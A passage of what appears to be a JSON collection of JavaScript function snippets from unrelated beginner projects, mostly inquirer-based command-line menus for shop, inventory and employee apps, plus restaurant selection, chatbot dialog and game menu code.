reggie\\r\\n\\t\\t\\t\\tlet data = JSON.parse(request.responseText);\\r\\n\\t\\t\\t\\t//set menu[0] equal to the data from the server\\r\\n\\t\\t\\t\\tmenu[0] = data;\\r\\n\\t\\t\\t\\tconsole.log(menu);\\r\\n\\t\\t\\t\\tlet result = true;\\r\\n\\t\\r\\n\\t\\t\\t\\t//If order is not empty, confirm the user wants to switch restaurants.\\r\\n\\t\\t\\t\\tif(!isEmpty(order)){\\r\\n\\t\\t\\t\\t\\tresult = confirm(\\\"Are you sure you want to clear your order and switch menus?\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\r\\n\\t\\t\\t\\t//If switch is confirmed, load the new restaurant data\\r\\n\\t\\t\\t\\tif(result){\\r\\n\\t\\t\\t\\t\\t//Get the selected index and set the current restaurant\\r\\n\\t\\t\\t\\t\\tlet selected = select.options[select.selectedIndex].value;\\r\\n\\t\\t\\t\\t\\tcurrentSelectIndex = select.selectedIndex;\\r\\n\\t\\t\\t\\t\\t//In A2, current restaurant will be data you received from the server\\r\\n\\t\\t\\t\\t\\tcurrentRestaurant = menu[0];\\r\\n\\t\\t\\r\\n\\t\\t\\t\\t\\t//Update the page contents to contain the new menu\\r\\n\\t\\t\\t\\t\\tif (currentRestaurant !== undefined){\\r\\n\\t\\t\\t\\t\\t\\tdocument.getElementById(\\\"left\\\").innerHTML = getCategoryHTML(currentRestaurant);\\r\\n\\t\\t\\t\\t\\t\\tdocument.getElementById(\\\"middle\\\").innerHTML = getMenuHTML(currentRestaurant);\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t//Clear the current oder and update the order summary\\r\\n\\t\\t\\t\\t\\torder = {};\\r\\n\\t\\t\\t\\t\\tupdateOrder(currentRestaurant);\\r\\n\\t\\t\\r\\n\\t\\t\\t\\t\\t//Update the restaurant info on the page\\r\\n\\t\\t\\t\\t\\tlet info = document.getElementById(\\\"info\\\");\\r\\n\\t\\t\\t\\t\\tinfo.innerHTML = currentRestaurant.name + \\\"
    Minimum Order: $\\\" + currentRestaurant.min_order + \\\"
    Delivery Fee: $\\\" + currentRestaurant.delivery_fee + \\\"

    \\\";\\r\\n\\t\\t\\t\\t}else{\\r\\n\\t\\t\\t\\t\\t//If they refused the change of restaurant, reset the selected index to what it was before they changed it\\r\\n\\t\\t\\t\\t\\tlet select = document.getElementById(\\\"restaurant-select\\\");\\r\\n\\t\\t\\t\\t\\tselect.selectedIndex = currentSelectIndex;\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\t//make request to server with custom url based on the currently selected restaurant\\r\\n\\t\\trequest.open(\\\"GET\\\",\\\"http://localhost:3000/menu-data/\\\"+name,true);\\r\\n\\t\\trequest.send();\\r\\n\\t}\\r\\n}\",\n \"function supervisorMenu() {\\n inquirer\\n .prompt({\\n name: 'apple',\\n type: 'list',\\n message: 'What would you like to do?'.yellow,\\n choices: ['View Product Sales by Department',\\n 'View/Update Department',\\n 'Create New Department',\\n 'Exit']\\n })\\n .then(function (pick) {\\n switch (pick.apple) {\\n case 'View Product Sales by Department':\\n departmentSales();\\n break;\\n case 'View/Update Department':\\n updateDepartment();\\n break;\\n case 'Create New Department':\\n createDepartment();\\n break;\\n case 'Exit':\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"function continuePrompt(){\\n inquirer\\n .prompt({\\n name: \\\"repeat\\\",\\n type: \\\"list\\\",\\n message: \\\"Is there anything else you'd like to do?\\\",\\n choices: [\\n \\\"Yes\\\",\\n \\\"No, I'm done.\\\"\\n ]\\n })\\n .then(function(answer) {\\n switch(answer.repeat){\\n case \\\"Yes\\\":\\n optionMenu();\\n break;\\n\\n case \\\"No, I'm done.\\\":\\n console.log(\\\"\\\\nHave a nice day!\\\\n\\\");\\n connection.end();\\n break;\\n }\\n });\\n}\",\n \"async displayFoodChoice(step) {\\n const user = await this.userProfile.get(step.context, {});\\n if (user.food) {\\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\\n } else {\\n const user = await this.userProfile.get(step.context, {});\\n\\n //await step.context.sendActivity(`[${ step.context.activity.text }]-type activity detected.`);\\n\\n if (step.context.activity.text == 1) {\\n user.food = \\\"European\\\";\\n await this.userProfile.set(step.context, user);\\n } else if (step.context.activity.text == 2) {\\n user.food = \\\"Chinese\\\";\\n await this.userProfile.set(step.context, user);\\n } else if (step.context.activity.text == 3) {\\n user.food = \\\"American\\\";\\n await this.userProfile.set(step.context, user);\\n }else {\\n await this.userProfile.set(step.context, user);\\n await step.context.sendActivity(`Sorry, I do not understand, please try again.`);\\n return await step.beginDialog(WHICH_FOOD);\\n }\\n\\n await step.context.sendActivity(`Your name is ${ user.name } and you would like this kind of food : ${ user.food }.`);\\n }\\n return await step.beginDialog(WHICH_PRICE);\\n //return await step.endDialog();\\n}\",\n \"setSelectedRestaurant(state, resto) {\\n state.selectedRestaurant = resto;\\n }\",\n \"onSelectRestaurant(restaurant){\\n this.closeAllRestaurant()\\n restaurant.viewDetailsComments()\\n restaurant.viewImg()\\n\\n }\",\n \"function startOver() {\\n\\tinquirer.prompt([\\n\\t\\t{\\n\\t\\t\\tname: \\\"confirm\\\",\\n\\t\\t\\ttype: \\\"confirm\\\",\\n\\t\\t\\tmessage: \\\"Would you like to make another selection?\\\"\\n\\t\\t}\\n\\t]).then(function(answer) {\\n\\t\\tif (answer.confirm === true) {\\n\\t\\t\\tdisplayOptions();\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\tconsole.log(\\\"Goodbye!\\\");\\n\\t\\t}\\n\\t});\\n}\",\n \"function mainMenu() {\\n inquirer\\n .prompt([\\n {\\n type: \\\"confirm\\\",\\n name: \\\"choice\\\",\\n message: \\\"Would you like to place another order?\\\"\\n }\\n ]).then(function (answer) {//response is boolean only\\n if (answer.choice) { //if true, run func\\n startBamazon();\\n } else {\\n console.log(\\\"Thanks for shopping at Bamazon. See you soon!\\\")\\n connection.end();\\n }\\n })\\n}\",\n \"function resetProductView(){\\n \\n inquirer.prompt([\\n {\\n type: \\\"rawlist\\\",\\n name: \\\"action\\\",\\n message: \\\"What would you like to do next?\\\",\\n choices:[\\\"I want to checkout\\\", \\\"I want to continue shopping\\\"]\\n }\\n\\n ]).then(function(answers){\\n if(answers.action === \\\"I want to checkout\\\"){\\n console.log(\\\"Good Bye, hope to see you again!\\\");\\n }else if (answers.action === \\\"I want to continue shopping\\\"){\\n customerview();\\n }\\n });\\n\\n}\",\n \"function doChoice(e) {\\n if (this.selectedIndex>0) {\\n var c = favlist[this.options[this.selectedIndex].value];\\n\\t\\tvar fail = false;\\n if (c) {\\n var i;\\n setNotice('Loading fav ...');\\n for (i=1;i<=c.length;i++) {\\n fail |= setState(i,c[i-1]);\\n }\\n for (;i<=11;i++) {\\n clearState(i);\\n }\\n }\\n this.selectedIndex = 0;\\n\\t\\tif (fail)\\n\\t\\t\\taddNotice('Item(s) not found!');\\n\\t\\telse\\n\\t\\t\\taddNotice('Fav loaded!');\\n }\\n}\",\n \"function continueShopping(){\\n inquirer.prompt(\\n {\\n type: \\\"confirm\\\",\\n name: \\\"confirm\\\",\\n message: \\\"Do you want to continue shopping?\\\",\\n default: true\\n }\\n ).then(answers=>{\\n if(answers.confirm){\\n displayProducts();\\n }else{\\n connection.end();\\n }\\n });\\n}\",\n \"function regretFastFoodRestaurantOption() {\\n subTitle.innerText = \\\"Are you sure?\\\";\\n firstButton.innerText = \\\"Yes, continue\\\";\\n firstButton.onclick = function() {\\n fastFoodRestaurantScene();\\n }\\n secondButton.innerText = \\\"No, go back\\\";\\n secondButton.onclick = function() {\\n startFunction();\\n }\\n}\",\n \"function regretsPrompt (res) {\\n\\tinquirer\\n \\t\\t.prompt([\\n \\t\\t\\t{\\n\\t\\t\\t\\ttype: \\\"list\\\",\\n\\t\\t\\t\\tmessage: \\\"What would you like to do?\\\",\\n\\t\\t\\t\\tchoices: [\\\"Change Quantity\\\", \\\"Start Over\\\"],\\n\\t\\t\\t\\tname: \\\"selection\\\"\\n\\t\\t }\\n\\t\\t])\\n\\t\\t.then(function(inqRes) {\\n\\t\\t\\tif (inqRes.selection == \\\"Change Quantity\\\"){\\n\\t\\t\\t\\tquantityPrompt(res);\\n\\t\\t\\t}\\n\\t\\t\\telse {\\n\\t\\t\\t\\tdisplayAllProducts();\\t\\n\\t\\t\\t}\\n\\n\\n\\t\\t});//ends then\\n}\",\n \"function continuePrompt(){\\n inquirer.prompt({\\n type: \\\"confirm\\\",\\n name: \\\"continue\\\",\\n message: \\\"Continue....?\\\",\\n }).then((answer) => {\\n if (answer.continue){\\n showMainMenu();\\n } else{\\n exit();\\n }\\n })\\n}\",\n \"function repeat() {\\n inquirer\\n .prompt({\\n name: \\\"gotoMainMenu\\\",\\n type: \\\"list\\\",\\n message: \\\"Do you want to go back to main menu ?\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\"]\\n })\\n .then(function (choice) {\\n if (choice.gotoMainMenu === \\\"Yes\\\") {\\n start();\\n }\\n else {\\n connection.end();\\n }\\n });\\n}\",\n \"function managerChoice() {\\n \\n inquirer\\n .prompt({\\n name: \\\"action\\\",\\n type: \\\"rawlist\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View Products For Sale\\\",\\n \\\"View Low Inventory\\\",\\n \\\"Add to Inventory\\\",\\n \\\"Add New Product\\\",\\n \\\"Quit\\\"\\n ]\\n })\\n .then(function(answer) {\\n switch (answer.action) {\\n case \\\"View Products For Sale\\\":\\n MgrDisplayInv();\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n lowInv();\\n break;\\n\\n case \\\"Add to Inventory\\\":\\n addInv();\\n break;\\n\\n case \\\"Add New Product\\\":\\n addItem();\\n break;\\n\\n case \\\"Quit\\\":\\n disconnect();\\n break;\\n }\\n });\\n}\",\n \"function mainOptions() {\\n inquirer\\n .prompt({\\n name: \\\"action\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View\\\",\\n \\\"Add\\\",\\n \\\"Delete\\\",\\n \\\"Update\\\"\\n ]\\n })\\n .then(function (answer) {\\n switch (answer.action) {\\n\\n case \\\"View\\\":\\n viewChoice();\\n break;\\n\\n case \\\"Add\\\":\\n addChoice();\\n break;\\n\\n case \\\"Delete\\\":\\n deleteChoice()\\n break;\\n\\n case \\\"Update\\\":\\n updateChoice()\\n break;\\n\\n\\n }\\n });\\n\\n}\",\n \"function startPrompt() {\\n \\n inquirer.prompt([{\\n\\n type: \\\"confirm\\\",\\n name: \\\"confirm\\\",\\n message: \\\"Welcome to Zohar's Bamazon! Wanna check it out?\\\",\\n default: true\\n\\n }]).then(function(user){\\n if (user.confirm === true){\\n inventory();\\n } else {\\n console.log(\\\"FINE.. come back soon\\\")\\n }\\n });\\n }\",\n \"function goPrompt() {\\n inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n message: \\\"What action would you like to do?\\\",\\n name: \\\"choice\\\",\\n choices: [\\n \\\"Check Departments\\\",\\n \\\"Check Roles\\\",\\n \\\"Check Employees\\\",\\n \\\"Plus Employee\\\",\\n \\\"Plus Role\\\",\\n \\\"Plus Department\\\"\\n ]\\n }\\n // switch replaces else if...selects parameter and javascript will look for the correct function\\n ]).then(function (data) {\\n switch (data.choice) {\\n case \\\"Check Departments\\\":\\n viewDepartments()\\n break;\\n case \\\"Check Roles\\\":\\n viewRoles()\\n break;\\n case \\\"Check Employees\\\":\\n viewEmployees()\\n break;\\n case \\\"Plus Employee\\\":\\n plusEmployees()\\n break;\\n case \\\"Plus Department\\\":\\n plusDepartment()\\n break;\\n case \\\"Plus Role\\\":\\n plusRole()\\n break;\\n }\\n })\\n}\",\n \"function runAgain(){\\n inquire.prompt([\\n {\\n name: 'again',\\n message: 'Would you like to make another purchase?',\\n type: 'confirm'\\n }\\n ]).then(function(res){\\n if (res.again){\\n customer();\\n } else {\\n console.log('We hope to see you at the Agora again!');\\n checkout();\\n }\\n })\\n}\",\n \"function startOver() {\\n inquirer\\n .prompt({\\n name: \\\"continue\\\",\\n type: \\\"confirm\\\",\\n message: \\\"Would you like to buy another product?\\\",\\n default: true\\n })\\n .then(function(answer) {\\n if (answer.continue) {\\n purchaseChoice();\\n }\\n else {\\n connection.end();\\n }\\n })\\n}\",\n \"async handleMenuResult(step) {\\n switch (step.result.value) {\\n case \\\"Donate Food\\\":\\n return step.beginDialog(DONATE_FOOD_DIALOG);\\n case \\\"Find a Food Bank\\\":\\n return step.beginDialog(FIND_FOOD_DIALOG);\\n case \\\"Contact Food Bank\\\":\\n return step.beginDialog(CONTACT_DIALOG);\\n }\\n return step.next();\\n }\",\n \"function continueShopping() {\\n inquire.prompt([{\\n message: \\\"Checkout or Continue Shopping?\\\",\\n type: \\\"list\\\",\\n name: \\\"continue\\\",\\n choices: [\\\"Continue\\\", \\\"Go to checkout\\\"]\\n }]).then(function (ans) {\\n if (ans.continue === \\\"Continue\\\") {\\n console.log(\\\" Items Added to Cart!\\\");\\n shoppingCart();\\n } else if (ans.continue === \\\"Go to checkout\\\") {\\n checkOut(itemCart, cartQuant);\\n }\\n });\\n}\",\n \"function runAgain2(){\\n console.log('That item ID was not found in our records.');\\n inquire.prompt([\\n {\\n name: 'again',\\n message: 'Would you like to make another purchase?',\\n type: 'confirm'\\n }\\n ]).then(function(res){\\n if (res.again){\\n customer();\\n } else {\\n console.log('We hope to see you at the Agora again!');\\n checkout();\\n }\\n })\\n}\",\n \"function restartFunction() {\\n inquirer.prompt([\\n {\\n name:\\\"action\\\",\\n type:\\\"list\\\",\\n message: \\\"Do you want to do another operation?\\\",\\n choices: [\\n \\\"Yes, please.\\\",\\n \\\"No, I am fine thank you.\\\"\\n ]\\n }\\n ]).then(function(answer) {\\n if(answer.action === \\\"Yes, please.\\\") {\\n menuOptions();\\n } else {\\n connection.end();\\n }\\n })\\n}\",\n \"next() {\\n inquirer\\n .prompt({\\n type: 'list',\\n name: 'select',\\n message: 'Select a team member or hit \\\"Done\\\" to finish:',\\n choices: ['Add Manager', 'Add Engineer', 'Add Intern', 'Done'],\\n }).then(({select}) => {\\n this.parseChoice(select);\\n });\\n }\",\n \"chooseLocation() {\\n \\n }\",\n \"function restartPrompt(){\\n inquirer.prompt([\\n {\\n type: \\\"confirm\\\",\\n name: \\\"confirm\\\",\\n message: \\\"Would you like to continue shopping?\\\".question,\\n default: true\\n }\\n ]).then(function(input){\\n // If customer wants to continue show products again\\n if(input.confirm){\\n showProducts();\\n }\\n else{\\n console.log(\\\"Thank you for shopping with Bamazon!\\\".magenta);\\n connection.end();\\n }\\n })\\n}\",\n \"function reRun(){\\n inquirer.prompt([\\n {\\n type: \\\"confirm\\\",\\n name: \\\"reply\\\",\\n message: \\\"Would you like to purchase another item?\\\"\\n }\\n ]).then(function(answer) {\\n if(answer.reply) {\\n buy();\\n } \\n else \\n {\\n console.log(\\\"Thanks for shopping Bamazon!\\\");\\n connection.end();\\n }\\n });\\n}\",\n \"function callNextActionOrExit(answer) {\\n if (answer.userSelection === \\\"View Products for Sale\\\") {\\n console.log(\\\"You want to view products\\\");\\n viewProducts();\\n } else if (answer.userSelection === \\\"View Low Inventory\\\") {\\n console.log(\\\"You want to view inventory\\\")\\n viewLowInventory();\\n } else if (answer.userSelection === \\\"Add to Inventory\\\") {\\n console.log(\\\"You want to add to inventory\\\")\\n addToInventory();\\n } else if (answer.userSelection === \\\"Add New Product\\\") {\\n console.log(\\\"You want to add a new product\\\")\\n getNewItem();\\n } else {\\n database.endConnection();\\n }\\n}\",\n \"function managerOptions() {\\n inquirer.prompt([\\n {\\n name: \\\"option\\\",\\n message: \\\"Hello, random manager. What would you like to do today?\\\",\\n type: \\\"list\\\",\\n choices: [\\\"View Products for Sale\\\", \\\"View Low Inventory\\\", \\\"Add to Inventory\\\", \\\"Add New Product\\\"]\\n }\\n ]).then(function (answer) {\\n\\n //Use a switch case since we have multiple scenarios\\n switch (answer.option) {\\n\\n case \\\"View Products for Sale\\\":\\n viewProducts();\\n break;\\n\\n case \\\"View Low Inventory\\\":\\n lowInventory();\\n break;\\n\\n case \\\"Add to Inventory\\\":\\n addInventory();\\n break;\\n\\n case \\\"Add New Product\\\":\\n addNew();\\n break;\\n };\\n });\\n}\",\n \"function ADMIN() {\\n //SORT FLIGHTS BY ID, SET ALL DISPLAYS TO TRUE\\n flights.sort((a, b) => a.id - b.id);\\n for (let i = 0; i < flights.length; i++) {\\n flights[i].display = true;\\n }\\n let ediDel;\\n do {\\n ediDel = prompt(\\n \\\"Te encuentras en la funci\\\\u00F3n de ADMINISTRADOR. Indica la funci\\\\u00F3n a la que quieres acceder: EDIT, DELETE.\\\",\\n \\\"EDIT,DELETE\\\"\\n );\\n salida(ediDel, ADMIN);\\n ediDel = ediDel.toUpperCase();\\n } while (ediDel !== \\\"EDIT\\\" && ediDel !== \\\"DELETE\\\");\\n\\n //JUMP TO NEXT FUNCITON\\n if (ediDel === \\\"EDIT\\\") {\\n EDIT();\\n } else if (ediDel === \\\"DELETE\\\") {\\n DELETE();\\n } else {\\n alert(\\\"No te he entendido\\\");\\n ADMIN();\\n }\\n}\",\n \"function again() {\\n inquirer.prompt({\\n name: \\\"shop\\\",\\n type: \\\"list\\\",\\n message: \\\"Would you like to keep shopping?\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\"]\\n }).then(function(answer){\\n if(answer.shop == \\\"Yes\\\"){\\n list();\\n } else {\\n console.log(\\\"Please come back soon!\\\");\\n connection.end();\\n }\\n })\\n}\",\n \"function endRepeat() {\\n inquirer\\n .prompt([{\\n type: \\\"list\\\",\\n name: \\\"wish\\\",\\n message: \\\"\\\\nDo you want to perform another operation?\\\",\\n choices: [\\\"Yes\\\", \\\"No\\\"]\\n }]).then( answer => {\\n if (answer.wish === \\\"Yes\\\") {\\n showMenu();\\n } else {\\n connection.end();\\n }\\n })\\n}\",\n \"function determineNextAction(option) {\\n switch(option.toString()) {\\n case \\\"Add Engineer\\\": \\n currentEmployeeType = Engineer.getRole();\\n askQuestions(ENGINEER_QUESTIONS);\\n break;\\n case 'Add Intern':\\n currentEmployeeType = Intern.getRole();\\n askQuestions(INTERN_QUESTIONS)\\n break;\\n case 'Exit':\\n console.log(\\\"generate html\\\");\\n GenerateHTML.generateSkeletonHTML(teamArray);\\n console.log(\\\"exiting....\\\");\\n break;\\n }\\n}\",\n \"function shopAgain(){\\n inquirer\\n .prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"shop\\\",\\n message: \\\"Would you like to buy another item?\\\",\\n choices: [\\\"YES\\\", \\\"NO\\\"]\\n }\\n ]).then(function(answer) {\\n if (answer.shop === \\\"YES\\\") {\\n runBamazon();\\n } else {\\n console.log(\\\"Thank you for shopping with us, have a nice day!\\\");\\n connection.end();\\n }\\n })\\n}\",\n \"function initSelectRestaurant(restaurants, searchTerm){\\n $(function(){\\n\\n var getRestaurant = window.LE.restaurants.getRestaurant\\n\\n userdata.restaurant = null;\\n\\n //dummy var\\n var isSearch = null;\\n\\n // prepare template\\n var source = $(\\\"#restaurant-dropdown-template\\\").html();\\n var template = Handlebars.compile(source);\\n\\n html = template(restaurants); \\n\\n // populate dropdown for restaurants\\n var renderingRestaurants = $('#render-restaurants').after(html);\\n\\n // render confirmation of the search term so the user remembers what they were looking for\\n var renderingSearchTerm = $('#select-restaurant-search-term').html(searchTerm);\\n\\n // when the restaurant changes, we need to display rate and other data\\n $.when(renderingRestaurants, renderingSearchTerm).done(function(){\\n renderRestaurantDetails(templates.templateRestInfo, getRestaurant, isSearch);\\n });\\n \\n $(\\\"#select-restaurant-continue-button\\\").on(\\\"click\\\", function(){\\n // this is the restaurant id to render later\\n var selectedVal = $(\\\"#restaurant\\\").val();\\n\\n if(_debug){ console.log(selectedVal); }\\n\\n if(selectedVal == \\\"\\\"){\\n document.getElementById(\\\"restaurant-alert\\\").innerHTML = \\\"Required.\\\";\\n }else{\\n\\n // cleanup old event handlers before leaving home context\\n destroyHome();\\n\\n userdata.currentRestaurant = selectedVal;\\n initSelectItem(selectedVal);\\n // ease scroll to top of next view\\n $(\\\"html, body\\\").animate({ scrollTop: 0 }, \\\"slow\\\");\\n }\\n });\\n });\\n}\",\n \"function displayRestaurant() {\\n restaurantDrop.on(\\\"click\\\", function (event) {\\n if ($(event.target).attr(\\\"class\\\") === \\\"yes\\\") {\\n console.log(\\\"hi\\\");\\n $(\\\".body-container\\\").prepend($(\\\".location\\\").show());\\n restaurantOption.hide();\\n }\\n if ($(event.target).attr(\\\"class\\\") === \\\"no\\\") {\\n $(\\\".final-date\\\").removeClass(\\\"hide\\\");\\n restaurantOption.hide();\\n viewDate.append($(\\\".movie-display\\\"));\\n $(\\\".movie-display\\\").show();\\n restaurantStorage.push(\\\"\\\")\\n localStorage.setItem(\\\"Restaurants\\\", JSON.stringify(restaurantStorage))\\n }\\n });\\n}\",\n \"function superAsk(){\\n\\n inquirer\\n .prompt([\\n // Here we create a basic text prompt.\\n {\\n type: \\\"rawlist\\\",\\n message: \\\"Greetings, what action would you like to perform today? (select by picking a #)\\\",\\n choices: ['View Product Sales by Department', 'Create New Department', 'Exit'],\\n name: \\\"action\\\", \\n },\\n\\n ])\\n .then(function(response) {\\n\\n switch (response.action) {\\n case 'View Product Sales by Department':\\n viewProdSales();\\n break;\\n case 'Create New Department':\\n createDept();\\n break;\\n case 'Exit':\\n process.exit();\\n break;\\n default:\\n console.log('Whoops! Looks like something went wrong. Are you sure you picked a number 1-2?');\\n }\\n });\\n}\",\n \"function restartMenu(){\\n\\tinquirer.prompt([{\\n\\t\\ttype: \\\"confirm\\\",\\n\\t\\tname: \\\"restartSelection\\\",\\n\\t\\tmessage: \\\"Would you like to return to the main menu?\\\"\\n\\t}]).then(function(restartAnswer){\\n\\t\\tif (restartAnswer.restartSelection === true) {\\n\\t\\t\\tmanagerMenu();\\n\\t\\t}\\n\\t\\telse {\\n\\t\\t\\tconsole.log(\\\"Good bye!\\\"); \\n\\t\\t}\\n\\t});\\n}\",\n \"function menu_paquet(){\\n\\t\\taction=prompt(\\\"F fin de tour | P piocher une carte\\\");\\n\\t\\taction=action.toUpperCase();\\n\\t\\tif (action != null){\\n\\t\\t\\tswitch(action){\\n\\t\\t\\t\\tcase \\\"F\\\":\\n\\t\\t\\t\\t\\tif (att_me.length>0){\\n\\t\\t\\t\\t\\t\\t//MAJ des cartes en INV_ATT1,2\\n\\t\\t\\t\\t\\t\\tmajCartesEnAttaque();\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif (pv_adv==0 || pv_me==0){\\n\\t\\t\\t\\t\\t\\tif (pv_adv==0){\\n\\t\\t\\t\\t\\t\\t\\talert(\\\"Vous avez gagné !!!\\\");\\n\\t\\t\\t\\t\\t\\t}else{\\n\\t\\t\\t\\t\\t\\t\\talert(\\\"Vous avez perdu !!!\\\");\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t/////////////////////////////////Gérer la fin de partie ICI\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\tIA_jouer(IA_stategie_basic);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase \\\"P\\\":\\n\\t\\t\\t\\t\\tjeu_piocherDsPaquet(true);\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\",\n \"function start() {\\n inquirer.prompt({\\n name: \\\"action\\\",\\n type: \\\"list\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\n \\\"View All departments\\\",\\n \\\"View All employees\\\",\\n \\\"View All roles\\\",\\n \\\"Add roles\\\",\\n \\\"Add departments\\\",\\n \\\"Add employees\\\",\\n \\\"Delete roles\\\",\\n \\\"Delete departments\\\",\\n \\\"Exit\\\"\\n ]\\n })\\n .then(function(res) { \\n switch (res.action) {\\n case \\\"View departments\\\":\\n viewDep();\\n break;\\n \\n case \\\"View All employees\\\":\\n viewEmp();\\n break;\\n \\n case \\\"View All roles\\\":\\n viewRole();\\n break;\\n \\n case \\\"Add roles\\\":\\n addRole();\\n break;\\n \\n case \\\"Add departments\\\":\\n addDep();\\n break;\\n\\n case \\\"Add employees\\\":\\n addEmp();\\n break;\\n\\n case \\\"Update employee roles\\\":\\n updateEmpRole();\\n break;\\n \\n case \\\"Delete roles\\\":\\n deleteRole();\\n break;\\n \\n case \\\"Delete departments\\\":\\n deleteDep();\\n break;\\n \\n case \\\"Exit\\\":\\n end();\\n break\\n }\\n });\\n }\",\n \"function handleNewMealRequest(response) {\\n // Get a random meal from the random meals list\\n var mealIndex = Math.floor(Math.random() * RANDOM_MEALS.length);\\n var meal = RANDOM_MEALS[mealIndex];\\n\\n // Create speech output\\n var speechOutput = \\\"Here's a suggestion: \\\" + meal;\\n\\n response.tellWithCard(speechOutput, \\\"MealRecommendations\\\", speechOutput);\\n}\",\n \"function travelTypeChange (userInput) { //takes the result from changeDestinationResult and uses the yesOrNo function to give random part of trip the user wishes to switch.\\n if(userInput === \\\"1\\\"){\\n \\n randomDestination = yesOrNo(destination,destination);\\n \\n }\\n else if (userInput === \\\"2\\\") {\\n \\n randomRestaurant = yesOrNo(restaurant,restaurant);\\n }\\n else if (userInput === \\\"3\\\") {\\n \\n randomTravelType = yesOrNo(transportation, transportation);\\n }\\n else if (userInput === \\\"4\\\") {\\n \\n randomEntertainment = yesOrNo(entertainment,entertainment);\\n }\\n}\",\n \"function start() {\\n inquirer.prompt({\\n name: \\\"select\\\",\\n type: \\\"rawlist\\\",\\n message: \\\"What would you like to do?\\\",\\n choices: [\\\"VIEW SALES\\\", \\\"CREATE NEW DEPARTMENT\\\", \\\"DELETE DEPARTMENT\\\", \\\"EXIT\\\"]\\n }).then(function (answers) {\\n if (answers.select.toUpperCase() === \\\"VIEW SALES\\\") {\\n viewSales();\\n } else if (answers.select.toUpperCase() === \\\"CREATE NEW DEPARTMENT\\\") {\\n newDepartment();\\n } else if (answers.select.toUpperCase() === \\\"DELETE DEPARTMENT\\\") {\\n deleteDepartment();\\n } else {\\n // Selecting \\\"EXIT\\\" just takes the user here\\n connection.end();\\n }\\n });\\n}\",\n \"function nextAction() {\\n\\tinquirer.prompt({\\n\\t\\tmessage: \\\"What would you like to do next?\\\",\\n\\t\\ttype: \\\"list\\\",\\n\\t\\tname: \\\"nextAction\\\",\\n\\t\\tchoices: [\\\"Add More Items\\\", \\\"Remove Items\\\", \\\"Alter Item Order Amount\\\", \\\"Survey Cart\\\", \\\"Checkout\\\"]\\n\\t})\\n\\t\\t.then(function (actionAnswer) {\\n\\t\\t\\tswitch (actionAnswer.nextAction) {\\n\\t\\t\\t\\tcase \\\"Add More Items\\\":\\n\\t\\t\\t\\t\\t// go to the start function\\n\\t\\t\\t\\t\\tstart();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase \\\"Remove Items\\\":\\n\\t\\t\\t\\t\\t// go to the removal function\\n\\t\\t\\t\\t\\tremoveItem();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase \\\"Checkout\\\":\\n\\t\\t\\t\\t\\t// go to the checkout tree;\\n\\t\\t\\t\\t\\tverifyCheckout();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase \\\"Alter Item Order Amount\\\":\\n\\t\\t\\t\\t\\t// go to the function that alters the shopping cart qty\\n\\t\\t\\t\\t\\talterItem();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase \\\"Survey Cart\\\":\\n\\t\\t\\t\\t\\t// look at the cart\\n\\t\\t\\t\\t\\tcheckoutFunction();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tdefault: console.log(\\\"how did you get here?\\\")\\n\\t\\t\\t}\\n\\t\\t})\\n}\",\n \"function anotherAction() {\\n\\n inquirer\\n .prompt([\\n {\\n name: \\\"confirm\\\",\\n type: \\\"confirm\\\",\\n message: \\\"Would you like to complete another action?\\\"\\n }\\n ])\\n .then(function (answer) {\\n if (answer.confirm == true) {\\n showMenu();\\n }\\n else {\\n console.log(\\\"Goodbye.\\\");\\n connection.end();\\n }\\n\\n });\\n\\n}\",\n \"onSelectRestaurant(restaurant){\\n \\n this.infoWindow.setContent(` ${restaurant.name} ${restaurant.address} `)\\n this.infoWindow.open(this.map,this.markers.find(m=>m.restaurant.address === restaurant.address));\\n }\",\n \"function askForMenuOption() {\\n\\tlet selection = PROMPT.question(\\\" >> \\\");\\n\\tswitch (selection) {\\n\\t\\tcase \\\"new\\\":\\n\\t\\t\\taddNewMovie();\\n\\t\\t\\taddMovieRating(movies.length - 1);\\n\\t\\t\\tbreak;\\n\\t\\tcase \\\"sort\\\":\\n\\t\\t\\tsetSortOrder();\\n\\t\\t\\tbreak;\\n\\t\\tdefault:\\n\\t\\t\\tif (selection == \\\"\\\" || (!MOVIE_ID_REGEX.test(selection) || selection > movies.length)) {\\n\\t\\t\\t\\tconsole.log(\\\"--- Movie ID invalid - Try again ---\\\");\\n\\t\\t\\t\\taskForMenuOption();\\n\\t\\t\\t}\\n\\t\\t\\taddMovieRating(Number(selection) - 1);\\n\\t\\t\\tbreak;\\n\\n\\t}\\n}\",\n \"function _wantToGoFunction() {\\n if (vm.dataCheck) {\\n\\n for (var i = 0; i < vm.dataCheck.length; i++) {\\n\\n if (vm.dataCheck[i].favoriteType == 2) {\\n\\n vm.$alertService.warning('Already in your \\\"Want To Go\\\" list!');\\n }\\n }\\n\\n } else {\\n\\n vm.favoriteTypeData = {\\n favoriteType: 2,\\n placeId: vm.place.id\\n }\\n\\n 